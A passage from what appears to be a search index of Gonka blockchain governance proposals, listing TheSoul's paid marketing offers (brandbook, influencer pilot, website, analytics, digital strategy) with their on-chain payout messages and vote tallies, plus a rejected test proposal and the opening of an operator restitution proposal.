{\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": { \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"20000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n } },\n \"funds\": []\n}\nUSDT has 6 decimals: 20,000 × 10⁶ = 20,000,000,000.
"}, {"location": "proposals/proposals/2026-q2/61/#final-tally", "title": "Final Tally", "text": "Yes 220,798 (67.9%) No 0 (0.0%) Veto 70,043 (21.5%) Abstain 34,369 (10.6%) Total 325,210 votes"}, {"location": "proposals/proposals/2026-q2/61/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"20000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n }\n },\n \"funds\": []\n }\n]\n📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 1 · Track A
The complete brand identity system — logo, color, typography, visual language, and templates. Everything that defines how Gonka looks and speaks, in one production-ready document.
Payment: 20,000 USDT — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
A brandbook isn't decoration. It's a production document that every visual decision depends on — the website, social media, merch, investor decks. It's built strictly on the positioning from 1.1 — the archetype, tone of voice, and brand idea. Without that foundation, the visual style will be arbitrary.
We develop the complete system: logo suite with usage variants, color system and typography, graphic language and patterns, photo style and layout principles, SMM and digital templates, merch direction. Every decision is strategically justified.
The process is iterative. Three rounds of alignment: concept directions → development of the chosen direction → finalization. Each round includes a presentation to the Gonka team with the rationale behind every decision.
"}, {"location": "proposals/proposals/2026-q2/61/full-proposal/#what-we-deliver", "title": "What we deliver", "text": "Complete brandbook PDF plus all source files, signed off with the Gonka community at the final presentation. Unlocks all visual production in Phase 2+. No visual asset moves forward without this document.
"}, {"location": "proposals/proposals/2026-q2/61/full-proposal/#terms", "title": "Terms", "text": "Timeline 4–6 weeks Format Fixed scope Commitment This phase only Requires Offer 1.1"}, {"location": "proposals/proposals/2026-q2/61/full-proposal/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority calls the community USDT vault's withdraw_ibc, sending 20,000 USDT (IBC) to the recipient wallet:
{\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": { \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"20000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n } },\n \"funds\": []\n}\nUSDT has 6 decimals: 20,000 × 10⁶ = 20,000,000,000.
"}, {"location": "proposals/proposals/2026-q2/62/", "title": "#62 – TheSoul - Offer 1.3: Influencer pilot (50,000 USDT)", "text": "Passed
Proposal ID: 62
Type: Execute Contract
Submit: 2026-06-02 08:20 UTC
Voting: 2026-06-02 08:20 UTC → 2026-06-04 08:20 UTC
Proposer: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Metadata: https://github.com/ADME-CY-LTD/thesoul-gonka-proposals/issues/3
$50,000 · Community PoolView on gonka.gg
Crypto-influencer pilot campaign for Gonka.AI across selected tier-1 creators, with a full performance report and scaling recommendations. Single-tranche payment of 50,000 USDT to TheSoul on proposal pass. Full offer document: see the metadata URL.
"}, {"location": "proposals/proposals/2026-q2/62/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 1 · Track B
Fixed budget, fixed timeline — a live performance signal before we talk about scaling.
Payment: 50,000 USDT — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Before committing serious budget to influencer marketing, we need to know what actually works for Gonka. The pilot answers that with hard constraints: fixed spend, a 4-week window, measurable output. No deck of hypotheses — a real performance signal.
Which creators drive qualified traffic. Which messages land with crypto investors. What a cost-efficient placement looks like for this product. That's the output — and it feeds directly into how we scale in Phase 3.
Eight primary creators across X, YouTube, and niche newsletters — crypto audience, western markets — each matched to a specific audience segment (institutional investors, the DeFi community, crypto-native developers), with five backups on standby. All outreach, briefing, and content sign-off handled by TheSoul; UTM tracking per creator, live from day one. Individual creator rates are finalized during outreach and negotiation; Gonka picks the preferred mix within the budget. The pilot is sized for ~180K estimated views at a ~$283 blended CPM, with 2,100–4,200 estimated clicks.
"}, {"location": "proposals/proposals/2026-q2/62/#what-we-deliver", "title": "What we deliver", "text": "A live campaign with selected creators, a full performance report at close, and strategic scaling recommendations for Phase 3 — all based on real data.
"}, {"location": "proposals/proposals/2026-q2/62/#terms", "title": "Terms", "text": "Timeline 3 months Platforms X · YouTube · Newsletters Market Western, English-speaking Unlocks Phase 3 scaling"}, {"location": "proposals/proposals/2026-q2/62/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority calls the community USDT vault's withdraw_ibc, sending 50,000 USDT (IBC) to the recipient wallet:
{\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": { \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"50000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n } },\n \"funds\": []\n}\nUSDT has 6 decimals: 50,000 × 10⁶ = 50,000,000,000.
"}, {"location": "proposals/proposals/2026-q2/62/#final-tally", "title": "Final Tally", "text": "Yes 220,798 (67.9%) No 0 (0.0%) Veto 70,043 (21.5%) Abstain 34,369 (10.6%) Total 325,210 votes"}, {"location": "proposals/proposals/2026-q2/62/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"50000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n }\n },\n \"funds\": []\n }\n]\n📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 1 · Track B
Fixed budget, fixed timeline — a live performance signal before we talk about scaling.
Payment: 50,000 USDT — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Before committing serious budget to influencer marketing, we need to know what actually works for Gonka. The pilot answers that with hard constraints: fixed spend, a 4-week window, measurable output. No deck of hypotheses — a real performance signal.
Which creators drive qualified traffic. Which messages land with crypto investors. What a cost-efficient placement looks like for this product. That's the output — and it feeds directly into how we scale in Phase 3.
Eight primary creators across X, YouTube, and niche newsletters — crypto audience, western markets — each matched to a specific audience segment (institutional investors, the DeFi community, crypto-native developers), with five backups on standby. All outreach, briefing, and content sign-off handled by TheSoul; UTM tracking per creator, live from day one. Individual creator rates are finalized during outreach and negotiation; Gonka picks the preferred mix within the budget. The pilot is sized for ~180K estimated views at a ~$283 blended CPM, with 2,100–4,200 estimated clicks.
"}, {"location": "proposals/proposals/2026-q2/62/full-proposal/#what-we-deliver", "title": "What we deliver", "text": "A live campaign with selected creators, a full performance report at close, and strategic scaling recommendations for Phase 3 — all based on real data.
"}, {"location": "proposals/proposals/2026-q2/62/full-proposal/#terms", "title": "Terms", "text": "Timeline 3 months Platforms X · YouTube · Newsletters Market Western, English-speaking Unlocks Phase 3 scaling"}, {"location": "proposals/proposals/2026-q2/62/full-proposal/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority calls the community USDT vault's withdraw_ibc, sending 50,000 USDT (IBC) to the recipient wallet:
{\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": { \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"50000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n } },\n \"funds\": []\n}\nUSDT has 6 decimals: 50,000 × 10⁶ = 50,000,000,000.
"}, {"location": "proposals/proposals/2026-q2/63/", "title": "#63 – TheSoul - Offer 2.1: Website and landings (10,000 USDT)", "text": "Passed
Proposal ID: 63
Type: Execute Contract
Submit: 2026-06-02 08:20 UTC
Voting: 2026-06-02 08:20 UTC → 2026-06-04 08:20 UTC
Proposer: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Metadata: https://github.com/ADME-CY-LTD/thesoul-gonka-proposals/issues/4
$10,000 · Community PoolView on gonka.gg
Full redesign of gonka.ai plus dedicated landing pages for miners, inference buyers, and investors, built on the brandbook from Offer 1.2. Single-tranche payment of 10,000 USDT to TheSoul on proposal pass. Full offer document: see the metadata URL.
"}, {"location": "proposals/proposals/2026-q2/63/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 2 · Digital infrastructure
From placeholder to a conversion-ready brand site. Three dedicated landing pages — one per audience, each with its own CTAs and messaging.
Payment: 10,000 USDT — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Most early-stage crypto projects launch a website that says almost nothing — and converts nobody. This offer builds something different: a working acquisition tool structured around the 3 core audience segments defined in 1.1. Each group arrives with different questions, and those answers belong on separate pages with their own CTA architecture.
Design is built strictly on the brandbook from 1.2 — no deviations from the visual system. The site becomes the first production application of the brandbook: positioning and visual identity from Phase 1 don't just inform the site, they are the site.
The tech stack is confirmed with the Gonka team at kickoff. Mobile optimization is mandatory.
"}, {"location": "proposals/proposals/2026-q2/63/#what-we-deliver", "title": "What we deliver", "text": "A live website plus 3 landing pages — fully responsive, with infrastructure ready for tracking (2.2) and UTM attribution. The first public application of the Gonka brandbook.
"}, {"location": "proposals/proposals/2026-q2/63/#terms", "title": "Terms", "text": "Timeline 4–6 weeks Requires Positioning (1.1) + Brandbook (1.2) Commitment This phase only Unlocks Offer 2.2"}, {"location": "proposals/proposals/2026-q2/63/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority calls the community USDT vault's withdraw_ibc, sending 10,000 USDT (IBC) to the recipient wallet:
{\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": { \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"10000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n } },\n \"funds\": []\n}\nUSDT has 6 decimals: 10,000 × 10⁶ = 10,000,000,000.
"}, {"location": "proposals/proposals/2026-q2/63/#final-tally", "title": "Final Tally", "text": "Yes 220,798 (67.9%) No 0 (0.0%) Veto 70,043 (21.5%) Abstain 34,369 (10.6%) Total 325,210 votes"}, {"location": "proposals/proposals/2026-q2/63/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"10000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n }\n },\n \"funds\": []\n }\n]\n📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 2 · Digital infrastructure
From placeholder to a conversion-ready brand site. Three dedicated landing pages — one per audience, each with its own CTAs and messaging.
Payment: 10,000 USDT — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Most early-stage crypto projects launch a website that says almost nothing — and converts nobody. This offer builds something different: a working acquisition tool structured around the 3 core audience segments defined in 1.1. Each group arrives with different questions, and those answers belong on separate pages with their own CTA architecture.
Design is built strictly on the brandbook from 1.2 — no deviations from the visual system. The site becomes the first production application of the brandbook: positioning and visual identity from Phase 1 don't just inform the site, they are the site.
The tech stack is confirmed with the Gonka team at kickoff. Mobile optimization is mandatory.
"}, {"location": "proposals/proposals/2026-q2/63/full-proposal/#what-we-deliver", "title": "What we deliver", "text": "A live website plus 3 landing pages — fully responsive, with infrastructure ready for tracking (2.2) and UTM attribution. The first public application of the Gonka brandbook.
"}, {"location": "proposals/proposals/2026-q2/63/full-proposal/#terms", "title": "Terms", "text": "Timeline 4–6 weeks Requires Positioning (1.1) + Brandbook (1.2) Commitment This phase only Unlocks Offer 2.2"}, {"location": "proposals/proposals/2026-q2/63/full-proposal/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority calls the community USDT vault's withdraw_ibc, sending 10,000 USDT (IBC) to the recipient wallet:
{\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": { \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"10000000000\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\"\n } },\n \"funds\": []\n}\nUSDT has 6 decimals: 10,000 × 10⁶ = 10,000,000,000.
"}, {"location": "proposals/proposals/2026-q2/64/", "title": "#64 – TheSoul - Offer 2.2: Analytics and attribution (28,000 GNK)", "text": "Passed
Proposal ID: 64
Type: Community Pool Spend
Submit: 2026-06-02 08:21 UTC
Voting: 2026-06-02 08:21 UTC → 2026-06-04 08:21 UTC
Proposer: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Metadata: https://github.com/ADME-CY-LTD/thesoul-gonka-proposals/issues/5
28,000 GNK · Community PoolView on gonka.gg
Web analytics, attribution, and funnel dashboarding for Gonka.AI: GA4 implementation, UTM taxonomy, event tracking, and conversion reporting. Single-tranche payment of 28,000 GNK to TheSoul on proposal pass. Full offer document: see the metadata URL.
"}, {"location": "proposals/proposals/2026-q2/64/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 2 · Digital infrastructure
Every click has a source. Every conversion is tracked. This must be live before any traffic flows.
Payment: 28,000 GNK (≈ 7,000 USDT at 0.25 GNK/USDT) — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Most companies set up analytics after they've already spent budget on traffic. We do the opposite: analytics and UTM tracking go live immediately after the site launches (2.1) — before any campaigns begin. Otherwise every dollar spent on promotion flies blind.
Full GA4 implementation: account setup, event tagging, conversion configuration per audience. A UTM taxonomy for all channels — organic, influencers, PR, paid — with a unique UTM tracker for every future creator.
The output isn't just \"GA4 connected\" — it's a working dashboard with per-segment funnels and an executive report the Gonka team can read without any technical knowledge.
"}, {"location": "proposals/proposals/2026-q2/64/#what-we-deliver", "title": "What we deliver", "text": "GA4 configured, live UTM tracking across all channels, and a reporting dashboard accessible to the Gonka team. From this point forward, every marketing activity is measured.
"}, {"location": "proposals/proposals/2026-q2/64/#terms", "title": "Terms", "text": "Timeline 2–3 weeks Requires Live website (2.1) Commitment This phase only Unlocks Offer 2.3"}, {"location": "proposals/proposals/2026-q2/64/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority spends from the community pool, sending 28,000 GNK to the recipient wallet:
{\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\",\n \"amount\": [{ \"denom\": \"ngonka\", \"amount\": \"28000000000000\" }]\n}\nGNK has 9 decimals: 28,000 × 10⁹ = 28,000,000,000,000 ngonka (≈ 7,000 USDT at 0.25 GNK/USDT).
"}, {"location": "proposals/proposals/2026-q2/64/#final-tally", "title": "Final Tally", "text": "Yes 220,798 (67.9%) No 0 (0.0%) Veto 70,043 (21.5%) Abstain 34,369 (10.6%) Total 325,210 votes"}, {"location": "proposals/proposals/2026-q2/64/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"28000000000000\"\n }\n ]\n }\n]\n📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 2 · Digital infrastructure
Every click has a source. Every conversion is tracked. This must be live before any traffic flows.
Payment: 28,000 GNK (≈ 7,000 USDT at 0.25 GNK/USDT) — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Most companies set up analytics after they've already spent budget on traffic. We do the opposite: analytics and UTM tracking go live immediately after the site launches (2.1) — before any campaigns begin. Otherwise every dollar spent on promotion flies blind.
Full GA4 implementation: account setup, event tagging, conversion configuration per audience. A UTM taxonomy for all channels — organic, influencers, PR, paid — with a unique UTM tracker for every future creator.
The output isn't just \"GA4 connected\" — it's a working dashboard with per-segment funnels and an executive report the Gonka team can read without any technical knowledge.
"}, {"location": "proposals/proposals/2026-q2/64/full-proposal/#what-we-deliver", "title": "What we deliver", "text": "GA4 configured, live UTM tracking across all channels, and a reporting dashboard accessible to the Gonka team. From this point forward, every marketing activity is measured.
"}, {"location": "proposals/proposals/2026-q2/64/full-proposal/#terms", "title": "Terms", "text": "Timeline 2–3 weeks Requires Live website (2.1) Commitment This phase only Unlocks Offer 2.3"}, {"location": "proposals/proposals/2026-q2/64/full-proposal/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority spends from the community pool, sending 28,000 GNK to the recipient wallet:
{\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\",\n \"amount\": [{ \"denom\": \"ngonka\", \"amount\": \"28000000000000\" }]\n}\nGNK has 9 decimals: 28,000 × 10⁹ = 28,000,000,000,000 ngonka (≈ 7,000 USDT at 0.25 GNK/USDT).
"}, {"location": "proposals/proposals/2026-q2/65/", "title": "#65 – TheSoul - Offer 2.3: Digital strategy (100,000 GNK)", "text": "Passed
Proposal ID: 65
Type: Community Pool Spend
Submit: 2026-06-02 08:21 UTC
Voting: 2026-06-02 08:21 UTC → 2026-06-04 08:21 UTC
Proposer: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Metadata: https://github.com/ADME-CY-LTD/thesoul-gonka-proposals/issues/6
100,000 GNK · Community PoolView on gonka.gg
Full 360-degree digital and social strategy for Gonka.AI: channel matrix, content plan, segment messaging, social strategy, and brand-voice guidelines. Single-tranche payment of 100,000 GNK to TheSoul on proposal pass. Full offer document: see the metadata URL.
"}, {"location": "proposals/proposals/2026-q2/65/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 2 · Digital infrastructure
A 360° playbook that brings every channel into a single coherent logic. The final deliverable of Phase 2 — and the key that unlocks Phase 3.
Payment: 100,000 GNK (≈ 25,000 USDT at 0.25 GNK/USDT) — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Before launching campaigns, content production, and PR — you need a clear plan: which channels, for which audience, with which message, at what volume. Without this document, Phase 3 activations will be fragmented and off-brand.
The 360° digital strategy ties everything together: social, site, influencer marketing, PR, and content into a single coherent logic. Channel matrix by audience, content types and volumes per month, a messaging guide by segment, social-media strategy (X, Telegram, LinkedIn), and brand-voice guidelines.
The document is built on data from 1.1 (personas), 1.3 (pilot results), and 2.2 (site analytics) — every decision grounded in real data that already exists by the time of writing.
"}, {"location": "proposals/proposals/2026-q2/65/#what-we-deliver", "title": "What we deliver", "text": "A signed-off 360° strategy document — the brief for all production and activations in Phase 3. Without it, no Phase 3 module can be scoped.
"}, {"location": "proposals/proposals/2026-q2/65/#terms", "title": "Terms", "text": "Timeline 2–3 weeks Requires GA4 data (2.2) Commitment This phase only Unlocks Phase 3"}, {"location": "proposals/proposals/2026-q2/65/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority spends from the community pool, sending 100,000 GNK to the recipient wallet:
{\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\",\n \"amount\": [{ \"denom\": \"ngonka\", \"amount\": \"100000000000000\" }]\n}\nGNK has 9 decimals: 100,000 × 10⁹ = 100,000,000,000,000 ngonka (≈ 25,000 USDT at 0.25 GNK/USDT).
"}, {"location": "proposals/proposals/2026-q2/65/#final-tally", "title": "Final Tally", "text": "Yes 220,798 (67.9%) No 0 (0.0%) Veto 70,043 (21.5%) Abstain 34,369 (10.6%) Total 325,210 votes"}, {"location": "proposals/proposals/2026-q2/65/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100000000000000\"\n }\n ]\n }\n]\n📋 Part of the TheSoul × Gonka proposal overview — phasing, who we are, and how to vote.
Gonka.AI · Phase 2 · Digital infrastructure
A 360° playbook that brings every channel into a single coherent logic. The final deliverable of Phase 2 — and the key that unlocks Phase 3.
Payment: 100,000 GNK (≈ 25,000 USDT at 0.25 GNK/USDT) — single tranche to TheSoul on proposal pass. Recipient: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Before launching campaigns, content production, and PR — you need a clear plan: which channels, for which audience, with which message, at what volume. Without this document, Phase 3 activations will be fragmented and off-brand.
The 360° digital strategy ties everything together: social, site, influencer marketing, PR, and content into a single coherent logic. Channel matrix by audience, content types and volumes per month, a messaging guide by segment, social-media strategy (X, Telegram, LinkedIn), and brand-voice guidelines.
The document is built on data from 1.1 (personas), 1.3 (pilot results), and 2.2 (site analytics) — every decision grounded in real data that already exists by the time of writing.
"}, {"location": "proposals/proposals/2026-q2/65/full-proposal/#what-we-deliver", "title": "What we deliver", "text": "A signed-off 360° strategy document — the brief for all production and activations in Phase 3. Without it, no Phase 3 module can be scoped.
"}, {"location": "proposals/proposals/2026-q2/65/full-proposal/#terms", "title": "Terms", "text": "Timeline 2–3 weeks Requires GA4 data (2.2) Commitment This phase only Unlocks Phase 3"}, {"location": "proposals/proposals/2026-q2/65/full-proposal/#on-chain-action", "title": "On-chain action", "text": "On pass, the gov authority spends from the community pool, sending 100,000 GNK to the recipient wallet:
{\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm\",\n \"amount\": [{ \"denom\": \"ngonka\", \"amount\": \"100000000000000\" }]\n}\nGNK has 9 decimals: 100,000 × 10⁹ = 100,000,000,000,000 ngonka (≈ 25,000 USDT at 0.25 GNK/USDT).
"}, {"location": "proposals/proposals/2026-q2/66/", "title": "#66 – test proposal - 测试方案", "text": "Rejected
Proposal ID: 66
Type: Execute Contract
Submit: 2026-06-03 17:45 UTC
Voting: 2026-06-03 17:45 UTC → 2026-06-05 17:45 UTC
Proposer: gonka1hwyjwehgp6e5pgpg0ye4a7unwu5q9xzljpuwr5
Failed reason: proposal did not get enough votes to pass
$1,000,000 · Community PoolView on gonka.gg
test proposal - 测试方案
"}, {"location": "proposals/proposals/2026-q2/66/#final-tally", "title": "Final Tally", "text": "Yes 0 (0.0%) No 0 (0.0%) Veto 579,377 (100.0%) Abstain 0 (0.0%) Total 579,377 votes"}, {"location": "proposals/proposals/2026-q2/66/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"amount\": \"1000000000000\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"recipient\": \"gonka1hwyjwehgp6e5pgpg0ye4a7unwu5q9xzljpuwr5\"\n }\n },\n \"funds\": []\n }\n]\nPassed
Proposal ID: 67
Type: Batch Transfer With Vesting
Submit: 2026-06-03 21:54 UTC
Voting: 2026-06-03 22:09 UTC → 2026-06-05 22:09 UTC
Proposer: gonka1nvcwl2c7jxj2h47c56y8dmcmf0tynt5dplzngy
Metadata: https://github.com/votkon/gonka-kimi-restitution
946,509 GNK · Gov ModuleView on gonka.gg
Distribute restitution for Kimi operators across epochs 265-276. Epochs 265-266: external attack causing CPoC degradation and nonce exclusion. Epochs 267-276: ComputeGroupCap systematic underpayment due to attack-induced N-1 weight collapse. Total: 946,509.93 GNK to 53 addresses.
"}, {"location": "proposals/proposals/2026-q2/67/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →GRC-GONKA-265: Kimi Restitution, Epochs 265–276
Field Value
Case GRC-GONKA-265 - Kimi operator restitution: external attack (e265–e266) + ComputeGroupCap underpayment (e267–e276)
Epochs affected 265–276
Affected participants 53 unique addresses
Estimated compensation 946,509.93 GONKA
